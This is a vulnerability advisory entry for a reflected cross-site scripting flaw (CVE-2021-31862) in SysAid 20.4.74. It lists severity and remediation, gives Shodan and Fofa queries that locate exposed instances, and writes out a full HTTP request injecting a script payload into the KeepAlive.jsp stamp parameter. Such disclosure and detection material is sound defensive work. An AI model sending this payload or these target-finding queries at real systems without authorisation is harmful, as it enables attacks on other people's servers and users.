| Title | SysAid 20.4.74 - Cross-Site Scripting |
|---|---|
| Author | jas37 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.41302 |
| CVE ID | CVE-2021-31862 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:1540720428 |
| Fofa Query | icon_hash=1540720428 |
| Tags | cve2021 cve xss sysaid vuln |
SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
GET /KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31862.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31862.pcap
N/AN/A